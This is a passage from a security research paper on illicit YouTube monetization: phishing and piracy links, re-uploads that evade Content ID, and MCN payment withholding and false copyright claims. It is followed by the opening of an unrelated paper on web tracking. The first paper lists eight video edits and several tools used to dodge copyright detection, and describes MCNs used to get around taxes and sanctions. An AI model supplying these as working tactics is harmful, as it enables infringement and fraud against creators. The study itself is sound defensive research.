licious creators deceitfully place links in either the descrip-
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Figure 4: In-content deception used by malicious creators.

tion of their videos or in the video media itself and upload
the video to YouTube ( 1 ). A benign YouTube viewer clicks
on the video to watch it ( 2 ). The viewer is redirected off
YouTube and to an external site via the link ( 3 ). Upon ar-
riving at the external site, viewers encounter further “require-
ments” for viewing the desired content (e.g., account creation,
payment/subscription, completing surveys). Viewers interact-
ing with these websites may gain ad revenue for the creator or
have their personal information collected when following any
stated steps. In this way, malicious creators both monetize
their content on YouTube and redirect traffic to sources where
they can gain further profit through problematic methods.

To develop a better sense of the types of external content
delivered to viewers, we list destination websites that mali-
cious creators redirect viewers to. First, we observe websites
that require users to provide additional financial information
( a ). For example, viewers are directed to click on a video
description link to view a film. This link redirects them to an
external website where viewers need to create an account to
watch the film. Account creation is hidden behind a paywall.
(An example can be found in Figure 1b in Appendix.)

Second, we observe another use case where malicious cre-
ators advertise services or other content on external websites
( b ). To illustrate, we find a website that viewers are redi-
rected to via a link shown directly in video media from a
channel that focuses on Movie & Music content. Accompany-
ing the link is text promising users they will be able to watch
a full length version of a specified film. However, following
this link deceitfully directs a viewer to a website advertising
a pay-per-click URL shortening service (See Figure 1c in
Appendix for an image of this website).

Third, we found this exploit also promotes distribution of
pirated content ( c ). Viewers are redirected to Google Drive

folders containing unauthorized film uploads, or are directed
to join groups to download pirated content. Appendix Fig-
ure 1d presents one such example where YouTube video con-
tent redirects viewers to a page advertising a Telegram group
called Moviez Corner Group that promotes pirated content.

Viewer Harm. Consider a malicious content creator who
maintains a popular YouTube channel that contains short
movie clips eligible for monetization. The creator decides
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Figure 5: Content theft procedure used by malicious creators.

to leverage the popularity of their channel and promote an
external website that they also own. This website entices visi-
tors to submit a web form of PII information (i.e., phishing)
to “gain access” to the website’s contents. To attract YouTube
viewers, the creator uploads videos promising users a full-
length version of a movie if they follow a link to the creator’s
external website and fill out a short form. Upon arriving at
the external site, users encounter heavy ad presence for yet
another domain hosting pirated content. Here, we observe the
malicious creator profiting off advertisements and promoting
piracy. If a viewer is deceived into filling out the short form,
their sensitive information may also be exploited.

4.1.4 Content Theft

When analyzing posts of forum users asking how they can
“...upload movies to YouTube” or “...how [they can] avoid
being copyright claimed by the copyright bot,” we discovered
several exploits used by content creators to steal content for
re-upload and personal monetization.

To begin, we observe that to evade Content ID detection and
successfully monetize stolen media, malicious creators use
video and audio transformation methods. Figure 5 presents
an overview of how malicious creators capitalize on popular
video content from other channels, popular television shows,
or movies. Here, a malicious creator realizes such content
is more likely to receive views, so they find and illicitly ob-
tain/download a popular video without the original uploader’s
permission ( 1 , 2 ). The creator then uses evasive techniques
to edit the video and re-uploads it to their own channel ( 3 ,
4 ). In the event their reuploaded video bypasses YouTube’s
automated copyright violation detection, these creators profit
on pirated content that they do not own ( 5 ). We discuss the
content theft exploit steps in detail below and the different
software tools used to facilitate these techniques.
Content ID Evasion Techniques. We found evidence of sev-
eral evasive video editing techniques used by malicious cre-
ators to avoid detection of copyright violation. Various users
propose different techniques to circumvent YouTube’s auto-
mated copyright detection [13]. For example, one user writes

“...you can add frames, logos and subtitles to your video clips
to make them unique with various effects, preventing account
removal/suspension.” Another user claims “...you can flip a
video to circumvent the copyright infringement scanner.”
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Table 6: Analyzed software tools used by content creators to
avoid copyright claims.

# Software Description Type
1 Videonti [57] “Make videos unique by adding frames, logos, etc.” Desktop
2 Kapwing [31] “Edit video and create content online” Web
3 Videoyap [58] “Produces unique video by inserting text-to-speech audio” Web

D
E

F

Figure 6: Embedding video into a static image using browser-
based software Kapwing [31], to evade YouTube Content ID
detection. Other evasive techniques marked with a red box:
(a) Zooming in, (b) Adding a border, and (c) Flipping.

In total, we discovered eight video perturbation techniques
creators commonly apply to successfully avoid detection of
copyright violations: (1) Flipping/Mirroring, (2) Zooming, (3)
Frame manipulation (static image in the background, inserting
frames), (4) Adding watermarks, (5) Audio manipulation, (6)
Color manipulation, (7) Adding borders/dark shadows, and (8)
Blurring. To perform these techniques, creators use software
to manipulate video content. To discover these software, we
examine the links and images in the crawled threads, and
check if they include reference to any relevant programs.

Table 6 shows an overview of the software found in
our analysis. One such example is video editing software
Kapwing [31], a browser-based tool allowing creators to use
these techniques. Figure 6 shows the layout of the Kapwing

software as well as its ability to embed a video into a static
image (frame manipulation). Using Kapwing, we generate con-
tent that employs techniques (1), (2), (3), (7), and (8), as seen
in Figure 7. Kapwing’s capability of performing these evasive
techniques highlights the ease at which creators are able to
evade detection of copyright violation. While Kapwing is mar-
keted for benign and non-illicit use, we discovered software
specifically catered to malicious creators evading YouTube

copyright detection. For example, the software Videonti is
marketed by its creator as “...able to make content unique”
by providing an example of embedding an animated film in
a static image (See Figure 1e in Appendix to view images
found on the homepage of the Videonti software).

Further discussion in our data provides clear evidence of
its use in content theft, with additional posts, screenshots, and
videos demonstrating successful use of the tool. For instance,
one forum user writes “...I used this software to upload a clip
from the movie ‘Avengers.’ it has been uploaded now for five
days and youtube has taken no action against my account.”

Figure 7: Techniques to avoid detection of copyright viola-
tions: From top left to bottom right; unedited video, zooming
in, mirroring, adding a border, blurring a corner, adding frame.

Creator and Third-Party Harm. When analyzing our
dataset, we find creators voice their frustration on how con-
tent theft harms their channel. By having their own content
stolen and re-uploaded, creators lose out on the monetization
that should be rightfully theirs. This negatively affects their
income and channel growth. A benign creator notes “Some
[user] nicked my video just after hours of uploading. When
confronted, he says, ‘it’s for a good cause.’ ‘His’ video has
been receiving a lot of likes and views. Mine, on the other
hand, received a number of dislikes, and I am not sure why.”
YouTube creators are not the only ones harmed. When ma-
licious creators upload stolen content that was not uploaded
to YouTube, third parties who own said content have traffic
redirected from their own websites. Finally, viewers in many
cases are unknowingly watching pirated content and indirectly
contributing to piracy in watching such content.

4.2 Malicious Multi-Channel Networks
In this section, we discuss our findings on illicit exploits fa-
cilitated by MCNs on the YouTube platform. We found three
fraudulent reasons individual content creators join MCNs.

First, some creators join an MCN after being banned on
Google AdSense, which prevents them from monetizing con-
tent. To detail, many unsuccessfully attempt to appeal their
ban and join an MCN as a last resort. Because revenue from
content is first distributed to the MCN, previously banned cre-
ators are able to earn income through affiliation. For example,
one creator from our crawled forum data explained that they
joined an MCN after being demonetized. “I partnered with
[MCN] just so I could get at least some money from my chan-
nel (even if it is only 70% of my total).” While some MCNs
audit creators who wish to affiliate, we found many have no
process or description of account standards on their websites.

Second, we found creators discussing joining an MCN
as a method of tax evasion. As MCNs receive an affiliate’s
revenue before distributing it to their creators, income is not
directly traceable to creators’ accounts. One creator noted
that “...popular MCN payment methods such as Paypal and
Skrill” help creators as they “[draw less attention] in filing
taxes and audits.” Similarly, we observed creator demand in
seeking MCNs that pay via cryptocurrency. For example, we
found an MCN advertising to pay creators via a variety of
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Figure 8: (a) MCN with cryptocurrency payout capabilities.
(b) Translated homepage of Iranian MCN Andropay, high-
lighting their ability to help Iranian creators monetize content.

cryptocurrencies such as Bitcoin, Nollar and Nano, marketed
via an online brochure, as shown in Figure 8a. Although
cryptocurrency is not specifically mentioned as a means for
tax evasion, we found creators asking for references to such
MCNs in subforums where users discuss methods of evading
taxes. For example, on one thread, a creator requests “...links
to MCNs who pay through BitCoin or other Cryptocurrency.”

Third, creators from countries without access to Google

AdSense may only be able to monetize their content via an
MCN. This is because Google is a US company and thus, must
“...comply with sanctions imposed by the United States Office
of Foreign Assets Control (OFAC)” [22]. As such, AdSense
is restricted in many countries designated as sensitive by the
U.S. Department of State including Cuba, North Korea and
Iran [45]. Creators from these countries bypass these sanc-
tions by partnering with MCNs, allowing them to monetize
their content. To illustrate, we identified an Iranian MCN
named Andropay that claims that one of its main features is to
help creators “...cash out YouTube channel revenue ... with the
lowest possible fees”, as shown in Figure 8b. Andropay’s cor-
porate office address, listed on both the company’s homepage
and Google Maps, is located in Tehran, Iran. On inspection
of the company’s homepage, we discovered Andropay alleges
that their business is registered in multiple countries to facili-
tate services to Iranian creators while not violating sanctions.
Illicit MCN Practices. Fraudulent practices involving MCNs
relate to unlawful interactions between an MCN and both af-
filiated and unaffiliated creators. We found that instances of
fraud in these circumstances can be categorized into one of
two categories: obscuring payment, and theft of creator con-
tent. In obscuring payment, we observed evidence of MCNs
withholding or obscuring generated video revenue from affili-
ate creators, with extreme cases describing the total loss of
deserved income. In theft of creator content, MCNs leverage
Content ID privileges to steal unique content.

4.2.1 Withholding Affiliate Payment

We observed discussion across many forums describing
MCNs withholding payment from their affiliate creators. To
detail, affiliate creators first upload their content to YouTube.
Revenue generated from their content is then distributed not to
them, but to their associated MCN. However, creators allege
MCNs withhold creators’ contracted split of the revenue. In

doing so, malicious MCNs retain the full profit earned by their
affiliated creators. We analyzed discussion concerning such
cases of MCNs withholding affiliate payment and highlight
three key findings. MCNs:
(1) provide deceptive and false justifications
(2) sever communication with creators
(3) coerce creators to maintain affiliation

Deceptive and False Justifications. In the event of withheld
payment, most MCNs provide their affiliates justification as
to why their contracted revenue has not been distributed. Al-
though there is no method to verify if such justifications are
actually false, our analysis uncovers many allegations across
multiple forums and threads suggesting these justifications
have no realistic basis. For example, we found discussion
about an MCN that refused to pay their creators and instead
suggested “...payments [were] denied by paypal.” We also
observed conversation between creators alleging MCNs cre-
ate false requirements for their affiliated users (e.g., reaching
a minimum quantity of content views). Upon further examina-
tion, we also found examples where MCNs did not pay their
creators even after achieving the agreed minimum require-
ments. For instance, one creator states “[they] had earned
over $2500 in the past 4 months, well over the claimed require-
ment for the MCN to send [them their] payment”, however

“[they] had not been paid.” Finally, other reasons found in our
data include “uploading repetitive content” and “content that
damages the network.”

Severance of Communication. We also found many creators
discussing the lack of communication received from their
affiliated MCNs. For example, one creator in our crawled data
complains “...[I’m] not in [an MCN] anymore, but [I] still
don‘t have [my] money. [I’ve] sent [so] much mail to their
support, per email, and over the dashboard, but never received
an answer.” Another creator states “...[the MCN] doesn’t even
bother replying to my emails which clearly shows they have
no intention of paying my earnings.”

Coerced Affiliate Relationship. In an additional circum-
stance, some creators who are denied payment are further
unable to unlink themselves; the process of dissolving the
MCN-to-creator affiliation. For instance, one creator from our
crawled data claimed “...[the MCN] never provided me with
good opportunities or helped me, and [has] just been taking
my money, so I decided to leave last year. They said I could
not leave until December because it was a breach of contract.”
Another creator who tried obtaining a copy of their contract
noted that “...the [MCN] dashboard doesn’t seem to allow
[me] to get copies of them,” highlighting access to contracts
is limited by MCNs. Inability to unlink results in coerced af-
filiation and continuous loss of revenue, with MCNs keeping
almost all content monetized profit generated by creators.

Many creators are reluctant to name the MCNs they are
affiliated with when making these allegations. We posit this
is due to fear of legal action from their prior association with
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Figure 9: Overview of how malicious MCNs abuse their Con-
tent ID privileges.

an MCN. For example, one creator states they “...can’t reveal
the name of their network due to potential contract troubles.”

However, we identified six MCNs that are repeatedly men-
tioned in the discussion surrounding this exploit1. Upon fur-
ther investigation, we observe that all six are still operational,
with one resuming offered services in January 2021 after a
short hiatus. Our findings indicate that MCNs are able to
continue with their operations despite refusing to pay their
affiliates, highlighting that public allegations and complaints
are unable to negatively impact an MCN’s business ability.
Creator Harm. When MCNs withhold payment, creators
are directly harmed as they are refused income generated by
their original content. This, in turn, can affect their ability to
create content. For instance, one creator noted that withheld
payments “...affect the financial security of partners who rely
on this platform and steady ongoing payments to maintain
their product or channel.” Creators in these situations also cite
that withheld payments have negatively impacted their quality
of life, with many content creators depending on YouTube

revenue as their sole source of income. For example, one
creator who “...makes [his/her] living off YouTube and [has]
a family” expressed frustration when experiencing withheld
payments since “[they] could be going broke.”

4.2.2 MCN Content Theft

In addition to affiliated content creator harm, we found ev-
idence of unaffiliated creators’ harm inflicted by malicious
MCNs. Because Content ID privileges are typically more
widely available to MCNs, we discovered that access to
these privileges leads to abuse. Figure 9 presents an example
Content ID abuse case. Individual content creators who up-
load their content to YouTube find their content to be falsely
claimed by a malicious MCN ( 1 , 2 ). Here, these creators do
not earn revenue from their content, and in some cases have
revenue stolen by the offending MCN ( 3 ).
Abuse of Copyright Claim. We observe broad discussion of
MCNs leveraging their Content ID privileges to claim owner-
ship of videos falsely. False claims are primarily carried out
via YouTube’s manual claiming tool [21]. This tool enables
MCNs to claim ownership of videos and operates on an honor
code (users of the tool are responsible for not making false
claims). We observed many complaints from creators whose

1To prevent this paper from encouraging prospective malicious MCNs,
MCN names are available for research on request.

uploaded original content was later claimed by an MCN. For
example, one creator alleges “...[an MCN] is abusing their
access to Content ID (particularly the manual claiming tool)
and working in tandem with [another MCN] to siphon mil-
lions from songs they do not have any rights to claim.”
Dispute of False Copyright Claims. Individual content cre-
ators may dispute Content ID claims. During the dispute pro-
cess, the disputed video may either be monetized or blocked
from being viewed, depending on the claim. For the former,
YouTube holds the revenue generated from the date of the
dispute separately (in escrow), and upon resolution, revenue is
paid to the appropriate party. However, this process is tedious
and does not guarantee corrected action, or content restora-
tion. One post in our dataset claims “...[I’ve] had multiple
content ID disputes rejected in the past few months for using
royalty-free music.” Additionally, we also observed numerous
allegations of MCNs acknowledging a copyright claim was
incorrectly filed but fail to drop the said claim. One creator
claims when talking with a malicious MCN that “...they ac-
knowledged [the claim] was a mistake and removed it...[but
that] months later my video had a claim again.” Dissatisfac-
tion with the dispute system and frustration with unfairness
when dealing with claims were common themes presented
by creators when discussing malicious MCNs applying Con-
tent ID to original content. For example, one creator noted

“YouTube’s Copyright Claim Dispute System is so [expletive]
biased towards the Big Corps / Holders (MCNs), and that they
might as well already remove it because it’s useless anyway.”
Creator Harm. Due to MCN abuse of Content ID privileges
and difficulty in disputing false copyright claims, creators are
harmed as they find their videos demonetized. Even in the
case of a successful Content ID claim dispute, creators may
lose monetization for up to 30 days, the maximum time the
owner of claimed copyright content has to respond [19]. For
instance, one creator in our data states “I’ve lost 1 month [of
revenue] because an MCN decided to claim copyright.”

5 Discussion and Limitations

Content creators and MCNs leveraging illicit monetization ex-
ploits on YouTube are a persistent problem. Our work primar-
ily uses qualitative methodology to analyze publicly available
forums. Similar to previous work [53], we note that themes
present in our dataset may differ from private forums and
groups. As mentioned in Section 3.1, we focus on publicly
accessible forums to capture public conversation amongst
creators, and in turn, resources most available to creators.

We also note that our findings do not focus on the frequency
of occurrence for each specific exploit, as we instead aim to
provide a review of the most popular illicit monetization ex-
ploits on YouTube. Our analysis presents three observations
that provide insight into potential solutions against illicit mon-
etization and future work in the area. First, we highlight the
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emergence of online forums as a source of information for
malicious creators. Second, we note how the incentive to mon-
etize YouTube content creates online marketplaces that cater
to malicious creators aiming to implement illicit monetization
exploits. Third, we examine the hierarchical MCN-creator
relationship and detail how it may lead to creator harm.

5.1 Online Illicit Monetization Communities
Analyzing data from our 11 crawled forums, we discovered
conversation spreading illicit monetization tactics of steal-
ing original content and directing traffic to external sites. For
instance, manual examination of forum threads found using
relevant keywords resulted in the unexpectedly straightfor-
ward discovery of illicit content monetization services, soft-
ware, and guides. While we observed posting guidelines for
a number of these forums prohibiting discussion of deceitful
or evasive practices on YouTube, we found this rule poorly
enforced; likely due to ambiguity in YouTube policy inter-
pretation. As such, the existence of these forums acts as a
potential gateway for illicit content monetization, further con-
tributing to the existence of harmful content on YouTube.
Mitigation. Consistent moderation of various third-party
websites is a likely difficult, impractical, and contentious task
for YouTube to address. Although exhaustive moderation is
impractical, we believe YouTube would significantly benefit
from periodically crawling/evaluating sentiment on public
forums and analyzing conversations from creators to detect
the emergence of new illicit strategies. Additionally, we posit
that improved moderation of community content and/or more
accessible policies outlining YouTube monetization policy
would help protect YouTube viewers and other benign cre-
ators, while simultaneously limiting loopholes that allow ma-
licious tactics to flourish. We plan to continue monitoring
these communities and their discussion to examine how these
groups organize and construct illicit monetization exploits.

5.2 Illicit Content Monetization Economy
Our analysis of crawled forum data and marketplace listings
shows an active service market that profits off facilitating
illicit monetization on YouTube. We discovered nine online
marketplaces providing the illicit sale of YouTube accounts
and content-related services (e.g., purchasable views, sub-
scribers, comments). We found evidence of malicious cre-
ators successfully using these services to purchase accounts
and generate artificial channel engagement, allowing them to
immediately monetize their content and reach an audience.

We also observed discussion around content editing soft-
ware tailored for evading YouTube policy and copyright de-
tection. On websites such as YTpara, we found entire forum
threads dedicated to the commerce of tools that allow creators
to manipulate uploaded content or self-host mechanisms of ar-
tificial engagement. Although unintentional, benign software

also contributes to this economy with many video editing
software leveraged for illicit content monetization. Lastly, we
observed MCNs themselves as a component of this economy,
with malicious creators joining MCNs to illicitly work around
inability to monetize, or country-specific law/tax restrictions.

Mitigation. Current methods of countering YouTube account
abuse (e.g., sale of accounts, use of services/evasion software)
rely on tracking account IP addresses and taking action on
mismatches in login sessions, or flagged accounts [81]. How-
ever, this action occurs after transactions are completed for
these items, with no current methods proactively preventing
users from leveraging these illicit resources.

We plan to explore how online forums can enact strict
guidelines to prevent the promotion of the for-profit illicit
monetization economy and how developers of benign soft-
ware used in monetization exploits can work with YouTube

to prevent abuse of their software. Further efforts should also
be conducted to detect artificial engagement and purchased
accounts. For example, an anomaly detector can be imple-
mented to identify abnormal/malicious behavior in creator
accounts and their related content. To detail, if an uploaded
video has (as compared to previous uploads from an account):
(1) lack of community engagement (e.g., likes, comments), (2)
disparity in content genre/video length, and (3) irregularities
in upload location, this may collectively flag a creator account
as potentially purchased from a marketplace.

5.3 Contentious MCN-Creator Relationships

The MCN-creator relationship has become an integral part of
the YouTube ecosystem. Although the relationship between
both parties is posed as mutually beneficial, we found evi-
dence of common circumstances that harm creators. Specifi-
cally, MCN withheld creator payment and abuse of Content
ID privileges are highlights of such points of contention. We
also found that many creators feel YouTube is not the ap-
propriate mediator between MCNs and individual creators,
noting power imbalance improperly handled by YouTube.

Mitigation. Our findings highlight the need for improved
oversight of MCN-creator relationships on the YouTube plat-
form as well as relevant resources to protect creators from
MCN harm. We suggest adding creator-oriented features
for reporting or acting against malicious MCNs, as current
YouTube guidelines do not provide such resources. Such a
capability would mitigate abuse of creators and promote im-
proved content quality. Policy revisions that emphasize cre-
ator protection in the MCN-affiliate relationship could also
mitigate such concerns. In future work, we will reach out
to YouTube for potential collaboration in examining internal
data (e.g., patterns of wide distribution of Content ID for
uploaded content matched with reports of malicious MCNs,
payout to a single MCN account from multiple channels) that
can identify malicious MCNs via affiliated creators.
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6 Responsible Disclosure

Our findings are unconventional in regard to security and user
protection concerns on YouTube. That is, we do not highlight
any code or present new exploits of the YouTube backend
that may harm users. Existing reporting methods provided
by YouTube for our type of findings only extend to individ-
ual accounts and/or uploaded content, but do not provide an
option for reporting wide-scale malicious activity. For exam-
ple, while a YouTube viewer may flag an individual YouTube
channel for deceptive external content (e.g., phishing personal
information), there is no option to submit a security risk that
describes such an exploit/concern at scale (e.g., “bug-bounty”
style form that allows high-detail description for a concern).

We have thus contacted Google researchers with experience
researching YouTube to disclose our findings and for potential
future collaborations. We received acknowledgment from
one researcher in the area of Google product user experience,
who then forwarded our disclosure to a principal engineer
responsible for YouTube ad monetization. This individual
then directed us to the Strategic Partnership team at YouTube,
who told us they would route our research to members of the
team for review before deciding on next steps to proceed.

7 Related Work

Analysis of Malicious Behavior on Online Forums. The
security community has long explored online forums to ex-
pose conversations surrounding malicious activity. Tseng et
al. [53] and Bellini et al. [6] underscore how forums such as
Reddit serve as platforms to discuss methods to perpetrate
intimate partner violence and how these forums advertise
tools to aid in such behavior. Similarly, abuse, cyberbullying,
and online harassment on online platforms like Twitter have
also been studied [10, 30]. A line of work has explored the
online economy or marketplace that aims to aid illegal trans-
actions [9, 29, 56, 86]. In contrast, we present the first study
on how content creators use online forums as a means of
exchanging information concerning illicit monetization and
as an avenue to express contention with MCNs.
Detecting Illicit Activity on YouTube. The YouTube

ecosystem has been studied to identify harmful content.
Recent works have analyzed metadata and shared features
(i.e., keywords, hashtags) across spam videos on YouTube [7,
51]. Another line of work focused on the automated classi-
fication of harmful activity on YouTube. Motivated by El-
sagate, a controversy where YouTube videos categorized as
children’s content contained inappropriate themes (e.g., Elsa
from Disney film Frozen performing suggestive acts), Pa-
padamou et al. developed a binary classifier for detecting
YouTube videos potentially disturbing/harmful for toddlers
[36]. Similarly, several efforts have identified spam and click-
bait type videos by studying video metadata, comments, user

activities, and video attributes [4, 11, 85]. In contrast, we pro-
vide a broad overview of the different types of methods ex-
ploited by creators to monetize content while also shedding
light on how MCNs exploit creators when monetizing content.

8 Conclusions

In this paper, we describe the landscape of illicit content
monetization exploits used by content creators and MCNs on
YouTube. We crawled 11 forums and discussion boards and
studied conversations surrounding illicit monetization, exam-
ining online account and service marketplaces, and software.
We identify six distinct illicit and exploitative methods perpe-
trated by creators and MCNs. These exploits harm viewers,
other creators, and third-parties. We present a comprehensive
review of how online communities are sources of intelligence
for illicit content monetization activity, and how the economy
surrounding illicit monetization further operates in the scope
of relationships between content creators and MCNs.
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Appendix

We provide images pertaining to the exploits we have dis-
covered. Figure 1a is a sale listing of a view bot application
that was advertised on a forum. Figure 1b,1c,1d are examples
of websites that malicious creators redirect benign viewers
to. Figure 1e presents two images from the homepage of the
software Videonti, which markets itself as a means to avoid
detection of copyright violation.

Table 1 lists all keywords used in the Google Search API
crawler (Crawler A), described in Section 3.1.

USENIX Association 31st USENIX Security Symposium    2187



(a) (b)

(c) (d)

(e)

Figure 1: (a) Sale listing of a view bot application that costs 199.00 Euros (242.63 USD) that runs on a local computer. (b)
Example of a website advertised via a link, where watching a movie requires account creation. (c) Example of website advertising
a URL shortening service while a user waits for a link to download a movie. (d) Video that redirects users to join a Telegram
(messaging app) group where members exchange pirated content. (e) Description and images of Videonti from its website,
highlighting that the software is intended to evade copyright violation detection.

Table 1: Keywords used in Google crawler (Section 3.1).

Initial Discovery Keywords
monetization fraud mcn copyright mcn scam mcn fraud mcn danger creator

mcn creator interaction mcn creator scam youtube copyright policy youtube scam youtube fraud

youtube affiliate youtube affiliate scam youtube content policy youtube creator youtube monetization policy

youtube advertising policy youtube ad scam youtube partner youtube partner fraud youtube partner scam

Exploit-specific Keywords
youtube reupload illegal reupload youtube movie piracy youtube movie site link farming

youtube third-party affiliate youtube fake views youtube fake comments youtube fake likes youtube fake subscribers

youtube buy channel youtube buy account youtube buy monetized account youtube sell channel youtube sell account

youtube sell monetized account youtube advertise link youtube link in description youtube go to link youtube channel stealing

youtube channel content theft youtube channel copyright youtube channel stealing videos youtube buy likes youtube buy subscribers

youtube buy comments youtube instant subscribers youtube instant comments youtube instant likes youtube guarantee subscribers

youtube guarantee comments youtube guarantee likes MCN breach of contract MCN not paying MCN witholding payment

MCN content id theft MCN stealing content MCN theft MCN claim copyright MCN copyright infringement

MCN claim content id MCN fake
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Abstract
Web tracking has evolved to become a norm on the Internet.
As a matter of fact, the web tracking market has grown to
raise billions of dollars. Privacy cautious web practitioners and
researchers extensively studied the phenomenon proving how
widespread this practice is, and providing effective solutions
to give users the option of feeling private while freely surfing
the web. However, because all those studies looked at this
trend only from the trackers’ perspective, still there are a lot
of unknowns regarding what the real impact of tracking is on
real users. Our goal with this paper is to fill this gap in the web
tracking topic. Thanks to logs of web browsing telemetry, we
were able to look at this trend from the users’ eyes. Precisely,
we measure how fast a user encounters trackers and research on
options to reduce her privacy risk. Moreover, we also estimate
the fraction of browsing histories that are known by trackers
and discuss two tracking strategies to increase the existing
knowledge about users.

1 Introduction

Third-party web tracking was first introduced to support
web analytics and advertisement [30] but evolved over the
years into a very widespread phenomenon employed for a
wide range of purposes. Currently, more than 90% of the
websites include at least one tracking script [16, 50], resulting
in a multi-billion dollar business [21, 29, 36, 66] where
many companies earn huge amounts of money by selling or
leveraging the data collected from users.

Previous works showed that users are aware of this practice
and have rightfully started to complain about the amounts of
online tracking present on the web [46, 64]. On the other hand,
those studies also reported that participants are surprised when
confronted with detailed information about the extent and
prevalence of web tracking [34, 64]: once aware of the actual
impact, users’ general attitudes often resulted in being at odds
with such practices [34], and in stronger intentions to take
privacy-protective actions [64].

1Savino Dambra and Iskander Sanchez-Rola contributed equally to this
work as first authors

The scarcity of works that investigate how impactful
web-tracking is for Internet users can explain why, despite
being aware of the practice, only a few are conscious of the
actual implications and take the appropriate actions to protect
themselves. For example, only 7.74% of the browsers’ market
share belongs to privacy-centered browsers [26], 8.5% of the
users reported the use of tracker-blocking tools [64], and just
0.59% of them use privacy-preserving search engines [54].
We believe that studies that look at the problem from the users’
perspective to identify concrete evidence for its seriousness
could be immensely helpful to the general population.

In fact, as mentioned earlier, web tracking is not a new
phenomenon on the Internet and a wide corpus of previous
works have analyzed both the impact and the prevalence of web
tracking. However, previous studies have assessed its size by
measuring how many websites contain trackers, or how many
websites are known to a given tracking company [8,24,38,55].
As we will demonstrate in this work, knowing in how many
websites a tracker is detected is difficult to translate into how
much the tracker knows about the average user. More than that,
our experiments show that measuring the coverage by only
crawling top-ranked websites results in gross under-estimation.
In reality, users visit only a tiny fraction of the Internet websites
– typically composed of a mix of popular (such as social
networks, search engines, news) and less popular sites (such
as regional pages, friends’ blogs, or specific work-related
sources). As a result, it is still unknown what fraction of the
user’s browsing history is known to web trackers or what
fraction of trackers are encountered by each user.

In this work, we aim at filling this gap by complementing the
current knowledge on web tracking with real-user browsing
behaviors. We leverage the telemetry of 250K users and the
information collected by a large-scale crawling experiment to
analyze the impact that web tracking has on end-users located
all around the world. Differently from previous studies, whose
results are based on the analysis of the top websites listed on
publicly available services [3, 4], the use of browsing teleme-
try allows us to exactly know when and which websites are
accessed by users, without the need for distribution approxima-
tions. This allows us to precisely understand how often users
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encounter new trackers, how many different ones, and what
amount of information each tracker knows about them. As pri-
vacy advocates, we were extremely careful to preserve the pri-
vacy of the users in our dataset. All of our data was anonymized,
and raw browsing histories were processed in an automated
fashion, presented and analyzed only in aggregated form.

The paper is organized in two parts. First, we look at the
web-tracking from a time and frequency perspective: for each
user in our dataset, we estimate how long it takes to encounter
all and a significant fraction of the trackers. We then perform
a correlation analysis to understand what increases the privacy
risk, discovering that there is an interesting relationship among
privacy and security risks on the web. In the second part of
the study, we estimate what percentage of the user’s browsing
history is known to trackers and investigate how much this
knowledge could be extended through real or hypothetical
collaborations among different tracking companies. For
instance, our experiments show that the actual knowledge
popular trackers have of the users’ histories is almost double
the estimate obtained by crawling the top Alexa popular
domains. We also shed light on the most efficient monitoring
strategy and what sensitive information could be learned about
the users because they browse particular classes of websites.

We hope that our findings could bring awareness to the
users and motivate them to use privacy-preserving solutions
to prevent web tracking.

2 Background And Related Work

The first tracker, based on a cookie from digital.net in
microsoft.com, was used in 1996 and discovered by an
‘archaeological’ study conducted by Lerner et al. [30] in 2016
by using the Internet Archives Wayback Machine [23].

The first analysis regarding web tracking was performed in
2009 by Krishnamurthy and Wills [27], where they examined
the different technical ways in which third-parties could obtain
user-related information. Three years later, the work from
Mayer and Mitchell [33], and Roesner et al. [45], helped to lay
the foundations for future studies. More recent studies showed
that an increasingly larger percentage of the most popular
websites include some form of tracking, and that they use a
variety of techniques to do it [16, 24, 50, 55].

Olejnik et al. [40] were among the first to use real-user data
to study web tracking. The authors discovered that 69% of the
users in their dataset had a fingerprint that could differentiate
them from the rest based on their web history. This study was
recently replicated by Bird et al. [10] with 52K Firefox users,
and found an even larger number, with 99% of them showing
unique patterns. Falahrastegar et al. [19] also used the web his-
tory of real users to check whether user-specific IDs were being
sent in requests: authors found this to be very common between
certain groups of domains. Vallina et al. [61] performed instead
a study based on network traffic of a mobile carrier to check
not only the presence, but also the efficiency of the ecosystem

based on energy consumption. They found that tracking is very
widespread but the delivery strategy is inefficient.

During the last years, the number of works based on
real-user data has increased. In 2018, Karaj et al. [25]
performed a large-scale study using the information gathered
from a browser extension. They calculated some general stats
about the different trackers found online, and open-sourced the
corresponding global results obtained from the dataset. At the
same time, Papadopoulos et al. [42] presented a study focused
on mobile devices. By using the data collected from 1,270
users, the authors quantified the economical cost of showing
ads for companies, and the corresponding privacy loss by the
users that receive them. The final results indicate that there
is a clear imbalance between the two, with the users paying the
highest price. The following year, Papadopoulos et al. [41] ex-
panded their idea and analyzed the concept of tracking cookie
synchronization by using another dataset of 850 real mobile
users. They found that 97% of the users are actually exposed
to this type of practices in the first week of browsing. Most
recently, the work from Hu et al. [20] leveraged real-world
browsing histories to measure the prevalence of different
tracking organizations in UK and China. Authors discovered
that there is a big difference in the companies involved, with
home-grown third-party operators in China, and US players
dominating the UK market. Finally, Mishra et al. [35] studied
the relevance of the IP information in the web tracking ecosys-
tem, analyzing the information received from 2,230 users.
Results indicate that IP-based tracking is still a viable, as 87%
of the participant retained the same address for multiple days.

In summary, many papers analyzed web tracking by using
different types of telemetry, but they centered their work
on very specific cases such as user identifiers [19, 41] or
web history uniqueness [10, 40, 61]. Despite finding many
interesting results, these studies lack a global overview of: i)
the perspective of how the user arrives to that tracking situation,
and ii) what is the strategy and knowledge that trackers follow.
In this work, we try to find answers to these two questions.

3 Data Sources and Methodology

Our main dataset comes from the telemetry of a popular
security company. The data, collected on the consumer hosts
about the users’ web-browsing activity is described in Section
3.1. We acquire the category and risk score (Section 3.3) for
each domain in the telemetry and detect the trackers present on
the webpages by using a custom crawler (Section 3.2). We also
take advantage of a linkage graph published by Sanchez-Rola
et al. [49] about the information-sharing relationships among
different trackers (Section 3.4).

Each piece of information— from its collection, throughout
its analysis, to its storing— is treated in a way that preserves
the customers’ privacy and identity. We never deanonymize
users by looking at their browsing sessions and we only look
at aggregated data. The authors had multiple discussions
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(before and during the study) with the legal department of
the company to get the approval for this study and make sure
that the data was processed ethically and preserved the users’
anonymity. In this respect, we detail all the adopted measures
for each of the datasets in its dedicated subsection.

3.1 Web-browsing telemetry
This dataset contains the web-browsing history of 250K users.
The telemetry is collected by the company’s antivirus (AV)
sensor installed on Windows machines and only includes users
who voluntarily install the product, accept the company’s
privacy policy [39], and opt-in to share their data. The user
identifier is anonymized on the client-side and sent in this
form to a central system: in our study, we observe users
only through numeric anonymized identifiers, that do not
contain any detail or endpoint attribute able to trace back to
their origin. The telemetry spans a period of 8 days and was
